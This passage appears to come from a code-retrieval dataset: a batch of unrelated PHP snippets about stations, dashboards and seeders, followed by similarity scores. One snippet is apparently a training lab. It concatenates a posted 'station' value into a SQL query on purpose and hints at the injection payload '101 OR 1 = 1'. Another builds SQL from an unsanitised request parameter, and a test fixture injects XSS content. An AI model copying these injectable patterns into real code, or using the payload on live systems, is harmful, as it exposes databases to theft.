$_ENV['dirroot'] . '/src/assets/json/stations.json';\n $stations = json_decode(file_get_contents($filename));\n //dd('STATIONS',$stations);\n foreach ($stations->locations as $station) {\n $s = ORM::forTable('station')->create();\n $s->crs = $station->crs;\n $s->name = $station->name;\n $s->save();\n }\n }", "public function start()\n {\n $this->hints = array(\n 'The application is taking the input and concatenating it at the end of a pre-formed SQL command',\n 'Compound SQL statements can be made by joining multiple tests with\n keywords like AND and OR. Try appending a SQL statement that always resolves to true',\n 'Try to intercept the post request with OWASP ZAP and replace the station with -> 101 OR 1 = 1'\n );\n $this->htmlContent .= file_get_contents(__DIR__.\"/content.html\");\n $allStationInfo = $this->getWeatherInfo();\n\n $count = 0;\n foreach ($allStationInfo as $stationInfo) {\n $this->htmlContent .= \"<option value='$stationInfo[station]'>$stationInfo[name]</option>\";\n if ($count++ >= 3) { //Show only partial records\n break;\n }\n }\n\n // Add the Go button\n $this->htmlContent .= '</select></div>\n <div class=\"form-group\">\n <input type=\"submit\" name=\"submit\" value=\"Go\" class=\"btn btn-default\">\n </div></form></div></div><br>\n <div class=\"row\">\n <div class=\"col-md-7 col-md-offset-1\">';\n\n // If a form is submitted\n // evaluate the submission\n if (isset($_POST['submit'])) {\n\n // Show that query that is being executed\n $this->htmlContent .= \"<div class='alert alert-warning'>\n SELECT * FROM weather_info WHERE station = $_POST[station]</div></div></div>\";\n\n $this->htmlContent .= '\n <div class=\"row\">\n <div class=\"col-md-7 col-md-offset-1\">\n <table class=\"table table-bordered\">\n <thead>\n <tr>\n <th>Station</th>\n <th>Name</th>\n <th>State</th>\n <th>Min Temp</th>\n <th>Max Temp</th>\n </tr>\n </thead>\n <tbody>';\n\n $queryResults = $this->getWeatherInfo($_POST['station']);\n\n foreach ($queryResults as $result) {\n $this->htmlContent .= \"\n <tr>\n <td>$result[station]</td>\n <td>$result[name]</td>\n <td>$result[state]</td>\n <td>$result[min_temp]</td>\n <td>$result[max_temp]</td>\n </tr>\";\n }\n\n $this->htmlContent .= \"</tbody></table></div></div>\"; // Remaining closing tags\n\n if (count($queryResults) > 1) {\n // If the submission is correct\n $this->setCompleted(true);\n }\n\n } else {\n\n // Show the query that will be executed\n $this->htmlContent .= '<div class=\"alert alert-warning\">SELECT * FROM weather_info WHERE station = ?</div>\n </div></div>';\n }\n }", "public function show($id)\n {\n $station = Station::findOrFail($id);\n\n return view('stations.show')->withStation($station);\n }", "public function create($station,$line = null)\n {\n //\n $data = [];\n\n $data['station'] = mesStation::where('STNID',$station)->first();\n $data['prodline'] = $line;\n\n $line_info = ProductionLine::where(\"LINCODE\",$line)->first();\n\n $data['registration'] = $line == null ? \"\" : $line_info->LINCAT;\n $data['linedesc'] = $line == null ? \"\" : $line_info->LINDESC;\n\n $time = date('H:i');\n\n if ($time < date('H:i',strtotime('06:00'))) {\n $date = date('Y-m-d',strtotime('-1 days',strtotime('Today')));\n } else {\n $date = date('Y-m-d',strtotime('Today'));\n }\n\n $data['date'] = $date;\n\n if ($time >= date('H:i',strtotime('06:00')) && $time < date('H:i',strtotime('14:00'))) {\n $shift = 'A';\n } else if ($time >= date('H:i',strtotime('14:00')) && $time < date('H:i',strtotime('22:00'))) {\n $shift = 'B';\n } else {\n $shift = 'C';\n }\n\n $data['shift'] = $shift;\n\n return view('mes.vue.mes',$data);\n // return view('mes.transactions.trx',$data);\n }", "public function showStarter()\n {\n $domains = Domain::selectStarterDomain();\n\n $data = [\n 'sale_of_last_month' => number_format(Domain::sale_of_last_month()),\n 'sale_of_current_month' => number_format(Domain::sale_of_current_month()),\n 'percent_of_recipes' => number_format(abs(Domain::percent_of_sale()), 2),\n 'domain_verify' => count(Domain::domain_verify()),\n 'domain_account' => Domain::domainDistinct(),\n 'total_user' => Domain::userDistinct(),\n 'domain_paid' => count(Api::getInvoices()) ,\n 'user' => auth()->user()->name,\n 'role' => auth()->user()->isRole(),\n 'Action' => 'Show all Domain Name',\n 'ip' => $_SERVER['REMOTE_ADDR']\n ];\n\n Log::info($data);\n\n return view('dashboard.accountant.starter',$data ,['domains' => $domains]);\n }", "function companystats() {\n $this->auth(COMP_ADM_LEVEL);\n $contest_id = $this->uri->segment(3);\n $data = $this->_getCompanyDataByContestId($contest_id);\n $d = new JDate($data['contest']['start']);\n $this->load->view('snippets/v_grid_start');\n $data['label_steps'] = 'Medel steg i ' . $data['company']['name'];\n $data['label_average'] = 'Medel samtliga deltagare';\n $data['graph'] = $this->m_step->getStepSumPerDayByContestId($contest_id, 'VALID', $d->getDate(), date('Y-m-d') );\n $data['average'] = $this->m_step->getAverageStepSumPerDay('VALID', $d->getDate(), date('Y-m-d') );\n $this->load->view('snippets/v_graph', $data);\n $this->load->view('snippets/v_grid_end');\n }", "protected function setStationDataParams($component){\n\t\t$unit=\"\";\n\t\t$query = \"\";\n\t\t$table = \"sd_evs\";\n\t\t$errorbar = false;\n\t\t$style = \"dot\";\n\t\tif($component == 'S-P Arrival Time'){\n\t\t\t$unit = \"s\"; \n\t\t\t$attribute = \"sd_evs_spint\";\n\t\t\t$query = \"select a.sd_evs_eqtype as filter,a.sd_evs_time as time, a.$attribute as value from $table as a where a.ss_id=%s and a.$attribute IS NOT NULL and a.sd_evs_pubdate <= now()\";\n\t\t}else if($component == 'Epicenter From Vent'){\n\t\t\t$unit = \"km\";\n\t\t\t$attribute = \"sd_evs_dist_actven\";\n\t\t\t$query = \"select a.sd_evs_eqtype as filter,a.sd_evs_time as time, a.$attribute as value from $table as a where a.ss_id=%s and a.$attribute IS NOT NULL and a.sd_evs_pubdate <= now()\";\n\t\t}else if($component == 'Earthquake Maximum Amplitude'){\n\t\t\t$unit = \"cm\";\n\t\t\t$attribute = \"sd_evs_maxamptrac\";\n\t\t\t$query = \"select a.sd_evs_eqtype as filter,a.sd_evs_time as time, a.$attribute as value from $table as a where a.ss_id=%s and a.$attribute IS NOT NULL and a.sd_evs_pubdate <= now()\";\n\t\t}else if($component == 'Earthquake Dominant Frequency'){\n\t\t\t$unit = \"Hz\";\n\t\t\t$attribute = \"sd_evs_domFre\";\n\t\t\t$query = \"select a.sd_evs_eqtype as filter,a.sd_evs_time as time, a.$attribute as value from $table as a where a.ss_id=%s and a.$attribute IS NOT NULL and a.sd_evs_pubdate <= now()\";\n\t\t}else if($component == 'Earthquake Magnitude'){\n\t\t\t$unit = \"Hz\";\n\t\t\t$attribute = \"sd_evs_mag\"; \n\t\t\t$query = \"select a.sd_evs_eqtype as filter,a.sd_evs_time as time, a.$attribute as value from $table as a where a.ss_id=%s and a.$attribute IS NOT NULL and a.sd_evs_pubdate <= now()\";\n\t\t}else if($component == 'Earthquake Energy'){\n\t\t\t$unit = \"Erg\";\n\t\t\t$attribute = \"sd_evs_energy\"; \n\t\t\t$query = \"select a.sd_evs_eqtype as filter,a.sd_evs_time as time,a.$attribute as value from $table as a where a.ss_id=%s and a.$attribute IS NOT NULL and a.sd_evs_pubdate <= now()\";\n\t\t}\n\t\t$result = array(\"unit\" => $unit,\n\t\t\t\t\t\t\"style\" => $style,\n\t\t\t\t\t\t\"errorbar\" => $errorbar,\n\t\t\t\t\t\t\"query\" =>$query\n\t\t\t\t\t\t);\n\t\treturn $result;\n\t}", "public function index()\n\n {\n\n $this->global['pageTitle'] = 'Organic BPS : Export Projects Listings';\n\n \n\n $this->loadViews(\"dashboard\", $this->global, NULL , NULL);\n\n }", "protected function structDashboard(): ?array\n {\n $walker = new RenderWalker('dashboard');\n\n return ['tag' => 'div',\n 'attr' => ['class' => $walker->getClasses('wrapper')],\n 'inner' => ['tag' => 'div',\n 'attr' => ['class' => $walker->getClasses('title')],\n 'text' => $this->companyDetails['cmp_abbr']]];\n }", "public function index()\n {\n return view('properties::admin.landunits.index');\n }", "public function index() {\n //\n $currentDate = \\Helpers\\DateHelper::getLocalUserDate(date('Y-m-d H:i:s')); \n $day = \\Helpers\\DateHelper::getDay($currentDate);\n $weekDays = \\Helpers\\DateHelper::getWeekDays($currentDate, $day); \n $workouts = \\App\\Schedule::getScheduledWorkouts($weekDays);\n \n return view('user/schedule', ['number_of_day' => $day, 'current_date' => $currentDate, 'weekDays' => $weekDays])\n ->with('target_areas', json_decode($this->target_areas, true))\n ->with('movements', json_decode($this->movements, true))\n ->with('workouts', $workouts);\n }", "public function getStation()\n {\n return $this->station;\n }", "public function listSchedules()\n {\n $data = ['dates' => []];\n $scheduleRepository = $this->getRepository('schedule');\n $schedules = $scheduleRepository->loadSchedulesGrouped('date');\n foreach ($schedules as $key => $schedule) {\n $data['dates'][] = $schedule['date'];\n }\n\n return $this->render('showschedules', $data);\n }", "public function dashboardview() {\n \n $this->load->model('Getter');\n $data['dashboard_content'] = $this->Getter->get_dash_content();\n \n $this->load->view('dashboardView', $data);\n\n }", "public function dashboard()\n {\n $users = User::all()->count();\n $reservations = Reservation::all()->count();\n $vehicles = Vehicle::all()->count();\n $drivers = Driver::all()->count();\n $locations = Location::all()->count();\n\n \treturn view('backend.dashboard', compact('users', 'reservations', 'vehicles', 'drivers','locations'));\n }", "public function dashboard()\n {\n return $this->renderContent(\n view('dashboard'),\n trans('sleeping_owl::lang.dashboard')\n );\n }", "public function run()\n {\n $stations = [\n [\n 'name' => 'Cairo Station',\n 'city_id' => 1,\n ],\n [\n 'name' => 'Giza Station',\n 'city_id' => 2,\n ],\n [\n 'name' => 'AlFayyum Station',\n 'city_id' => 3,\n ],\n [\n 'name' => 'AlMinya Station',\n 'city_id' => 4,\n ],\n [\n 'name' => 'Asyut Station',\n 'city_id' => 5,\n ],\n ];\n\n foreach ($stations as $station) {\n Station::updateOrCreate([\n 'name' => $station['name'],\n 'city_id' => $station['city_id']\n ], $station);\n }\n }", "function displayWarehouses($num, $addr, $city, $state, $zip, $quant) {\n echo \"\n <h2>Warehouse #\" . $num . \"</h2>\n <ul class='summaryList'>\n <li>Street Address: <i>'\" . $addr . \"'</i></li>\n <li>City: <i>'\" . $city . \"'</i></li>\n <li>State: <i>'\" . $state . \"'</i></li>\n <li>Zip-Code: <i>'\" . $zip . \"'</i></li>\n <li>Quantity Shipping: <i>'\" . $quant . \"'</i></li>\n </ul>\n \";\n }", "public function run()\n {\n $location = [\n [\n 'type' => 'warehouse',\n 'location_name' => 'Kolkata',\n 'address' => 'Address',\n 'state_code' => '3'\n ],\n [\n 'type' => 'warehouse',\n 'location_name' => 'Hyderabad',\n 'address' => 'Address',\n 'state_code' => '28'\n ],\n [\n 'type' => 'warehouse',\n 'location_name' => 'Mumbai',\n 'address' => 'Address',\n 'state_code' => '29'\n ],\n [\n 'type' => 'warehouse',\n 'location_name' => 'Chennai',\n 'address' => 'Address',\n 'state_code' => '1'\n ],\n [\n 'type' => 'warehouse',\n 'location_name' => 'Bangalore',\n 'address' => 'Address',\n 'state_code' => '2'\n ],\n [\n 'type' => 'warehouse',\n 'location_name' => 'Ahmedabad',\n 'address' => 'Address',\n 'state_code' => '3'\n ],\n\n ];\n }", "public function addAllStations()\n {\n $stations = explode(';', $_GET['stations']);\n $messages = [];\n\n foreach ($stations as $station) {\n if ($this->model->addStation($station, $_GET['zone']))\n array_push($messages, 'Station ajoutée !');\n else\n array_push($messages, 'Cette station existe déjà');;\n }\n\n return json_encode($messages);\n }", "public function run()\n\t{\n\t\tDB::table('stations')->delete();\n\n\t\t$stations = array(\n\t\t\tarray('id'=>1,'station_dep'=>'casa','station_arr'=>'tanger','miles'=>'400'),\n\t\t\tarray('id'=>2,'station_dep'=>'Knitra','station_arr'=>'casa','miles'=>'200'),\n\t\t\tarray('id'=>3,'station_dep'=>'Rabat','station_arr'=>'fes','miles'=>'200'),\n\t\t\tarray('id'=>4,'station_dep'=>'marrakesh','station_arr'=>'casa','miles'=>'200'),\n\n\t\t);\n\n\t\t// Uncomment the below to run the seeder\n\t\tDB::table('stations')->insert($stations);\n\t}", "public function setupDashboards()\n {\n $dashboardColumnCount = 3;\n $dashboardCount = 4;\n\n $layout = array();\n for ($j = 0; $j != $dashboardColumnCount; ++$j) {\n $layout[] = array();\n }\n\n $dashboards = array();\n for ($i = 0; $i != $dashboardCount; ++$i) {\n $dashboards[] = $layout;\n }\n\n $oldGet = $_GET;\n $_GET['idSite'] = 1;\n\n // collect widgets & sort them so widget order is not important\n $allWidgets = array();\n foreach (WidgetsList::get() as $category => $widgets) {\n $allWidgets = array_merge($allWidgets, $widgets);\n }\n usort($allWidgets, function ($lhs, $rhs) {\n return strcmp($lhs['uniqueId'], $rhs['uniqueId']);\n });\n\n $widgetsPerDashboard = ceil(count($allWidgets) / $dashboardCount);\n\n // group widgets so they will be spread out across 3 dashboards\n $groupedWidgets = array();\n $dashboard = 0;\n foreach ($allWidgets as $widget) {\n if ($widget['uniqueId'] == 'widgetSEOgetRank'\n || $widget['uniqueId'] == 'widgetReferrersgetKeywordsForPage'\n || $widget['uniqueId'] == 'widgetLivegetVisitorProfilePopup'\n || $widget['uniqueId'] == 'widgetActionsgetPageTitles'\n || strpos($widget['uniqueId'], 'widgetExample') === 0\n ) {\n continue;\n }\n\n $widgetEntry = array(\n 'uniqueId' => $widget['uniqueId'],\n 'parameters' => $widget['parameters']\n );\n\n // dashboard images must have height of less than 4000px to avoid odd discoloration of last line of image\n $widgetEntry['parameters']['filter_limit'] = 5;\n\n $groupedWidgets[$dashboard][] = $widgetEntry;\n\n if (count($groupedWidgets[$dashboard]) >= $widgetsPerDashboard) {\n $dashboard = $dashboard + 1;\n }\n\n // sanity check\n if ($dashboard >= $dashboardCount) {\n throw new Exception(\"Unexpected error: Incorrect dashboard widget placement logic. Something's wrong w/ the code.\");\n }\n }\n\n // distribute widgets in each dashboard\n $column = 0;\n foreach ($groupedWidgets as $dashboardIndex => $dashboardWidgets) {\n foreach ($dashboardWidgets as $widget) {\n $column = ($column + 1) % $dashboardColumnCount;\n\n $dashboards[$dashboardIndex][$column][] = $widget;\n }\n }\n\n foreach ($dashboards as $id => $layout) {\n if ($id == 0) {\n $_GET['name'] = self::makeXssContent('dashboard name' . $id);\n } else {\n $_GET['name'] = 'dashboard name' . $id;\n }\n $_GET['layout'] = Common::json_encode($layout);\n $_GET['idDashboard'] = $id + 1;\n FrontController::getInstance()->fetchDispatch('Dashboard', 'saveLayout');\n }\n\n // create empty dashboard\n $dashboard = array(\n array(\n array(\n 'uniqueId' => \"widgetVisitsSummarygetEvolutionGraphcolumnsArray\",\n 'parameters' => array(\n 'module' => 'VisitsSummary',\n 'action' => 'getEvolutionGraph',\n 'columns' => 'nb_visits'\n )\n )\n ),\n array(),\n array()\n );\n\n $_GET['name'] = 'D4';\n $_GET['layout'] = Common::json_encode($dashboard);\n $_GET['idDashboard'] = 5;\n $_GET['idSite'] = 2;\n FrontController::getInstance()->fetchDispatch('Dashboard', 'saveLayout');\n\n $_GET = $oldGet;\n }", "public function station_get(){\n\t\t$id = $this->get('id');\n\t\tif(count($this->get())>1){\n\t\t\t$response = array(\n\t\t\t\t\"status\"=>\"error\",\n\t\t\t\t\"status_code\"=>409,\n\t\t\t\t\"message\"=>\"Too many params was sent\",\n\t\t\t\t\"validations\"=>array(\n\t\t\t\t\t\"id\"=>\"Send Id (Get) to get specific station, or empty to get all stations\"\n\t\t\t\t),\n\t\t\t\t\"data\"=>null\n\t\t\t);\n\t\t}else{\n\t\t\tif($id){\n\t\t\t\t$response = $this->DAO->entitySelection('station',array('idStation'=>$id),TRUE);\n\t\t\t}else{\n\t\t\t\t$response = $this->DAO->entitySelection('station');\n\t\t\t}\n\t\t}\n\t\t$this->response($response,200);\n\t}", "public function displayMap()\n {\n $buses = User::where('wei', 1)->whereNotNull('latitude')->whereNotNull('longitude')->orderBy('updated_at')->groupBy('bus_id')->get();\n\n $pts = [];\n foreach ($buses as $bus) {\n $pts [] = [\n 'title' => 'Bus '.$bus->bus_id,\n 'lat' => $bus->latitude,\n 'lng' => $bus->longitude,\n ];\n }\n\n return view('dashboard.maps.index', compact('pts'));\n\n }", "function GetDashboardOutput() {\n\t\treturn '';\n\t}", "public function index()\n\t{\n\t\treturn View::make('zones.index', array('roaming_spots' => Spot::getRoamingSpots()));\n\t}", "public function add_schedule() {\n $data['stadiums'] = $this->stadium->where('status', 1)->orderBy('stadium_name')->get();\n $data['standings'] = $this->standings->where('status', 1)->orderBy('category_id')->orderBy('standing_name')->get();\n return view('Admin.add_schedule', $data);\n }", "public function index()\n {\n // monk\n return view('monk.stipend',[\n \"stipends\" => Stipend::where('monk_id', auth()->user()->monk->id)->where('created_at', '>', \\Carbon\\Carbon::now())->latest()->get()\n ]);\n }", "public function actionView()\n {\n $id = Yii::app()->request->getParam('sid',0);\n $ret['response'] = array(\n 'code'=>0,\n 'msg'=>'ok'\n );\n $ret['data'] = array();\n\n if ($id) {\n $sql = \"select * from {{station_param}}\n where sn_key=\" . $id;\n $row = Yii::app()->bms->createCommand($sql)->queryRow();\n if ($row) {\n $ret['data'] = $row;\n }else{\n $ret['response'] = array(\n 'code'=>-1,\n 'msg'=>'没有该站参数!'\n );\n }\n }else{\n $ret['response'] = array(\n 'code'=>-1,\n 'msg'=>'没有该站参数!'\n );\n }\n echo json_encode($ret);\n\n }", "function outputting()\n {\n $highlightMagnitudeClasses = $this->earthquakeClass($this->magnitude);\n echo '\n <tr>\n <td>' . $this->datetime . '</td>\n <td>' . $this->description . '</td>\n <td class=\"' . $highlightMagnitudeClasses . '\">' . $this->magnitude . '</td>\n <td>' . strval(\"($this->longitude, $this->latitude)\") . '</td>\n <td>' . $this->depth . '</td>\n <td style=\"width: 100px;\">\n <div style=\"text-align: center;\">\n <button type=\"button\" \n class=\"btn btn-primary\" \n style=\"width: 40px;\" \n data-toggle=\"modal\" \n data-target=\"#myModal\" \n data-lat=' . $this->latitude . ' \n data-lng=' . $this->longitude . ' \n title=\"open map ' . $this->description . '\">\n <i class=\"fas fa-map-marked-alt\"></i>\n </button>\n <button type=\"button\" \n class=\"btn btn-primary\" \n style=\"width: 40px;\" \n title=\"Open details\" \n onclick=\"location.href = \\'' . $this->url . '\\';\">\n <i class=\"fa fa-external-link-square-alt\"></i>\n </button>\n </div>\n </td>\n </tr>\n ';\n }", "public function index()\n {\n $data = [\n 'stamps' => Stamp::get()\n ];\n \n return view('admin.stamps.index', $data);\n\n }", "public function displayBuildingTable()\n {\n echo \"\n <tr>\n <td>\" . getBuildingRoomCount( $this->id ) . \"</td>\n <td>\n <a href='helper/buildVncFile.php?buildingId=\" . $this->id . \"' class='btn medium bg-blue-alt tooltip-button' data-placement='top' title='Building Info'>\n <i class='glyph-icon icon-info'></i>\n </a>\n <a href='buildingRooms.php?buildingId=\" . $this->id . \"' class='btn medium bg-black font-white tooltip-button' data-placement='top' title='Rooms in Building'>\n <i class='glyph-icon icon-building-o'></i>\n </a>\n </td>\n <td class='font-bold text-left'>\" . $this->name . \"</td>\n <td class='font-bold text-left'>\" . $this->description . \"</td>\n </tr>\n \";\n }", "public function run()\n {\n $param = [\n 'station_id' => 'S0001',\n 'station_name' => '東神奈川駅',\n ];\n DB::table('stations')->insert($param);\n\n $param = [\n 'station_id' => 'S0002',\n 'station_name' => '横浜駅',\n ];\n DB::table('stations')->insert($param);\n\n $param = [\n 'station_id' => 'S0003',\n 'station_name' => '上大岡駅',\n ];\n DB::table('stations')->insert($param);\n }", "public function dashboard()\n\t{\n\t\tif($this->session->userdata('userid') == ''){redirect(ADMIN_URL.'index');} \n\t\t\t$userdata = $this->session->userdata();\n\n\t\t\t$data = array\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\t'usedata' \t\t\t=>\t$userdata,\n\t\t\t\t\t\t\t'getstation' \t\t=> \t$this->getstation,\n\t\t\t\t\t\t\t'getprcesses' \t\t=>\t$this->getprcesses,\n\t\t\t\t\t\t\t'getorganization' \t=> \t$this->getorganization ,\n\t\t\t\t\t\t);\n\t\t\t$this->load->view('admin/dashboard',$userdata);\t\n\t}", "public function run()\n {\n $count = \\App\\Institute::count();\n $string = 'Institutes';\n\n return view('voyager::dimmer', array_merge($this->config, [\n 'icon' => 'voyager-group',\n 'title' => \"{$count} {$string}\",\n 'text' => __('Click on buttton to view all institutes', ['count' => $count, 'string' => Str::lower($string)]),\n 'button' => [\n 'text' => __('View All Institutes'),\n 'link' => route('voyager.institutes.index'),\n ],\n 'image' => voyager_asset('images/widget-backgrounds/02.jpg'),\n ]));\n }", "public function index()\r\n {\r\n $todayScanCount = DataTransfer::getTodayScanCount();\r\n $todayScanAvgs = DataTransfer::getTodayScanAvgs();\r\n\r\n $scans = DataTransfer::getTodayScans();\r\n $dt = \\Lava::DataTable();\r\n $dt ->addDateTimeColumn('Data')->addNumberColumn('Temperatura')->addNumberColumn('Umidade Ar')->addNumberColumn('Umidade Solo');\r\n \r\n foreach($scans as $scan){ \r\n $dt->addRow([$scan->data_alterada, $scan->temperature, $scan->air_humidity, $scan->ground_humidity]);\r\n }\r\n\r\n \\Lava::LineChart('todayScans', $dt, [\r\n 'height' => 620,\r\n 'hAxis' => [ \r\n 'title' => 'Data'\r\n ],\r\n 'vAxis' => [\r\n 'title' => 'Temperatura' \r\n ]\r\n ]);\r\n \r\n // last inserted sensors\r\n $lastSensors = DataTransfer::getLastInsertedSensors();\r\n $lastAmbients = DataTransfer::getLastInsertedAmbients();\r\n $avgAmbients = DataTransfer::getAmbientAVG();\r\n\r\n //Sensors without ambient\r\n $sensorsWithoutAmbient = DataTransfer::getSensorsWithoutAmbient();\r\n\r\n\r\n return view('index',['todayScanCount' => $todayScanCount, \r\n 'todayScanAvgs' => $todayScanAvgs, \r\n 'lastSensors' => $lastSensors, \r\n 'lastAmbients' => $lastAmbients, \r\n 'avgAmbients' => $avgAmbients,\r\n 'sensorsWithoutAmbient' => $sensorsWithoutAmbient]);\r\n }", "public function getCityDashBoard()\n {\n }" ]
[ "0.6272476", "0.62643003", "0.61255234", "0.6099523", "0.6097676", "0.59891903", "0.5905546", "0.58994234", "0.5876704", "0.5871399", "0.58583367", "0.5828901", "0.5817738", "0.581594", "0.57782346", "0.5762041", "0.5718652", "0.56769264", "0.56759626", "0.5670443", "0.5657929", "0.5640103", "0.56171143", "0.5610701", "0.55947524", "0.55823135", "0.5576667", "0.5561063", "0.5552904", "0.5541328", "0.55400425", "0.5530515", "0.55198884", "0.55104965", "0.55039334", "0.5499714", "0.5479987", "0.54790944", "0.546515", "0.54562104", "0.5432305", "0.5430822", "0.54285383", "0.5421941", "0.5416929", "0.54154533", "0.54145414", "0.54032356", "0.54014665", "0.5392012", "0.53894854", "0.53730345", "0.53542626", "0.53538275", "0.5353646", "0.53536075", "0.5346639", "0.534086", "0.5339363", "0.5337545", "0.53276986", "0.53267354", "0.53119594", "0.53103304", "0.53093904", "0.5305281", "0.5299176", "0.5296218", "0.5288761", "0.5287288", "0.52859396", "0.5283365", "0.5278816", "0.5266881", "0.5263443", "0.52578956", "0.5251761", "0.5251052", "0.5235938", "0.52337873", "0.5233458", "0.5232772", "0.52304053", "0.5225859", "0.52180016", "0.5215775", "0.52121484", "0.5210877", "0.5208681", "0.5202837", "0.5197513", "0.51967293", "0.51949143", "0.51946855", "0.519397", "0.51885146", "0.5187475", "0.51850533", "0.51843625", "0.5181088" ]
0.695451
0
Lists all Product models.
public function actionIndex() { $this->layout='inner'; $searchModel = new ProductSearch(); $dataProvider = $searchModel->frontendsearch(Yii::$app->request->queryParams); $model=$dataProvider->getModels(); return $this->render('index', [ 'searchModel'=>$model, 'model' => $searchModel, ]); /*$searchModel = new ProductCatSearch(); $cat =Yii::$app->request->queryParams; if(!empty($cat['ProductCatSearch']['category_id'])){ $sub_cat_list=$cat['ProductCatSearch']['category_id']; $searchModel->category_id=end($cat['ProductCatSearch']['category_id']); } else{ $sub_cat_list=array(); } $dataProvider = $searchModel->frontendsearch(Yii::$app->request->queryParams); $model=$dataProvider->getModels(); $cat_list = ArrayHelper::map(ProductCategory::find()->where(['parent_id'=>'0'])->all(), 'id', 'cat_name'); return $this->render('index', [ 'model' => $searchModel, 'searchModel'=>$model, ]);*/ }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getAll()\n {\n return DB::table('product_models')->get()->all();\n }", "public function index()\n {\n return Product::all();\n }", "public function index()\n {\n return Product::all();\n }", "public function index()\n {\n return Product::all();\n }", "public function index()\n {\n return Product::all();\n }", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n return Producto::all();\n \n }", "public function index() {\n\t\treturn $this->product->all();\n\t}", "public function index()\n {\n return Products::all();\n }", "public function index()\n {\n return new ProductCollection(Product::all());\n }", "public function index()\n\t{\n return Product::all();\n\t}", "public function showAllAction () {\n $products = $this->getDoctrine()\n ->getRepository('AppBundle:Product')\n ->findAll();\n\n return $this->render('product/list.html.twig', array(\n 'products' => $products,\n ));\n }", "public function index() {\n $this->set('products', $this->Product->find('all'));\n }", "public function index()\n {\n //\n return Product::all();\n }", "public function getAllProduct()\n {\n //eager loading of \"product\" with \"category\"\n return Product::with('category')\n ->orderBy('title')\n ->get();\n }", "public function index()\n\t{\n\t\t$products = $this->product->all();\n\t\t\n\t\treturn $products;\n\t}", "public function actionIndex()\n {\n $pageSize = 10;\n\n $searchModel = new ProductSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams, $pageSize);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function index()\n {\n return $this->productRepository->getAll();\n }", "public function viewAll()\n {\n return $this->product->all();\n \n }", "public function actionIndex()\n {\n $searchModel = new ProductSearch();\n $dataProvider = $searchModel->search(\\Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function actionIndex()\n {\n $searchModel = new ProductSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function actionIndex()\n {\n $searchModel = new ProductSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function index()\n {\n $products = Product::all();\n return $products;\n }", "public function index()\n {\n $products =Product::orderBy('id', 'DESC')->get();\n return view('admin.product.allProduct',compact('products'));\n }", "public function all()\n {\n $products = Product::all();\n return $products;\n }", "public function actionIndex()\n {\n $searchModel = new ProductsSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function actionIndex()\n {\n $searchModel = new ProductsSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function actionIndex()\n {\n $searchModel = new ProductsSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function index()\n {\n\n\n return Product::all();\n \n \n \n }", "public function getProductList()\n {\n return $this->with('images','manufacturer', 'category')->get();\n }", "public function getAllProducts()\n {\n return $this->productRepository->all();\n }", "public function index()\n {\n $products = DB::select('\n select p.id, max(p.name) as name, max(p.brand) as brand, count(m.id) as models\n from products p\n left join product_models m on p.id = m.product_id\n group by p.id\n ');\n\n return view('admin.product.index', ['products' => $products]);\n }", "public function index()\n {\n $products = Product::all();\n\n return view('admin.ProductList', ['products'=>$products]);\n }", "public function showAllAction() \n\t{\n\t\t$productsManager = new ProductsManager();\n\t\t$this->viewData['products'] = $products = $productsManager -> getAll();\n\t\t$this->viewData['productsNumber'] = count($products);\n\t\t$this -> generateView('products/show-all.phtml');\n\t}", "public function index()\n {\n $product = Product::all();\n return view('pages.server.product.list')\n ->with('product', $product);\n }", "public function index()\n {\n return $this->productService->getProducts();\n }", "public function collection()\n {\n return Product::all();\n }", "public function find()\n {\n return Product::all();\n }", "public function all_products()\n\t{\n\t\t$data['product_list']=$this->tbl_product->get_all_product();\n\t\t$data['page']='All Products';\n\t\t$view = 'Admin/collection/admin_all_product_list';\n\t\techo Modules::run('Template/admin_template', $view, $data);\t\n\t}", "public function index(Product $product)\n {\n return $this->product->getAllProducts();\n }", "public function getProducts(){\n\t\t$products = Product::all();\n\t\treturn view('admin-product-view')->with('products', $products);\n\t}", "public function index()\n\t{\n\t\t$products = QueryBuilder::for(Product::class)\n\t\t\t->allowedIncludes(['category'])\n\t\t\t->allowedFilters(['sku'])\n\t\t\t->orderBy('sku', 'asc')\n\t\t\t->get();\n\n\t\treturn new ProductCollection($products);\n\t}", "public function index()\n\t{\n\t\t$products = \\App\\Models\\Product::all();\n\n\t\treturn view('model-views.index')->with(array('modelName' => 'products', 'models' => $products, 'modelDetails' => 'products.details'));\n\t}", "public function all_product()\n {\n // $categories = Category::all();\n // $all_manufacture_info = Manufacture::all();\n // $products = Product::paginate(5);\n // return view('admin.product.index', compact('categories', 'all_manufacture_info', 'products'));\n\n $products = DB::table('products')\n ->join('categories', 'products.category_id', '=', 'categories.category_id')\n ->join('manufactures', 'products.manufacture_id', '=', 'manufactures.manufacture_id')\n ->select('products.*', 'categories.category_name', 'manufactures.manufacture_name')\n //->orderBy('product_id', 'asc')\n ->oldest()\n //->latest()\n ->paginate(4);\n return view('admin.product.index', compact('products'));\n }", "public function index()\n {\n return ProductResource::collection(Product::with('categories')->get());\n }", "public function index()\n {\n $products = $this->product->paginate();\n\n return view('admin.product.index', ['products' => $products]);\n }", "public function index()\n {\n return view('admin.products.index')->with('products', 